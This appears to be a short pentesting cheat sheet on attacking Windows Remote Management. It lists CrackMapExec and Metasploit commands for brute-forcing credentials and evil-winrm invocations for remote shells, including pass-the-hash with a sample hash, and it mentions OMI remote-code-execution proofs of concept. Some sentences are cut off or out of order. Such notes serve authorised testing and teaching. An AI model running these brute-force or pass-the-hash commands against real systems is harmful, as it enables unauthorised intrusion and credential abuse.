WinRM (Windows Remote Management) Pentesting
The Microsoft implementation of WS-Management Protocol which provides a common way for systems to access and exchange management information across an IT infrastructure. Default ports are 5985 (HTTP),
# CrackMapExec
poetry run crackmapexec winrm <target-ip> -d DomainName -u usernames.txt -p passwords.txt
# Metasploit
msfconsole
msf > use auxiliary/scanner/winrm/winrm_login
Copied!
Evil-WinRM is a Windows Remote Management shell for pentesting. Below are list of commands for each situation.
evil-winrm -i <target-ip> -u username -p password
# -P: Specifify port
evil-winrm -i <target-ip> -P 5986 -u username -p password
# Pass The Hash (-H)
evil-winrm -i <target-ip> -P 5986 -u username -H 0e0363213e37b94221497260b0bcb4fc
# PowerShell Local Path (-s)
evil-winrm -i <target-ip> -u username -p password -s /opt/scripts
# SSL enabled (-S)
evil-winrm -i <target-ip> -u username -p password -S
Copied!If you have private key and public key, you can use them for authentication.
After connecting, we can use a lot of useful commands to exploit. Note that we need to specify the absolute path for uploading and downloading.
CrackMapExec is a swiss army knife for pentesting networks. The official docs says that it's recommended to use it via Poetry which is a Python package manager.
First off, move to the directory in which the CrackMapExec installed and run poetry install.
Then execute with poetry run.
Open Management Infrastructure (OMI) is vulnerable to Remote Code Execution (RCE).
There are many PoC available, for instance:
References
Tools by HDKS
Automatic web fuzzer.
Auto reconnaissance CLI.
Hash identifier.
Last updated